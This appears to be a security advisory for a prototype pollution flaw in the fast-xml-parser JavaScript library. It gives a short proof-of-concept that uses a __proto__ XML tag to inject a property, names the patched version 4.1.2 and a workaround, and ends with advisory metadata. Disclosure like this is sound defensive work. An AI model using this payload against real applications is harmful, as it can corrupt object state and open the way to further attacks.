As a part of this vulnerability, user was able to se code using __proto__
as a tag or attribute name.
const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");
let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"
const parser = new XMLParser();
let jObj = parser.parse(XMLdata);
console.log(jObj.polluted) // should return hacked
The problem has been patched in v4.1.2
User can check for "proto" in the XML string before parsing it to the parser.
https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7
{ "nvd_published_at": "2023-12-12T17:15:07Z", "cwe_ids": [ "CWE-1321" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2023-06-13T12:44:34Z" }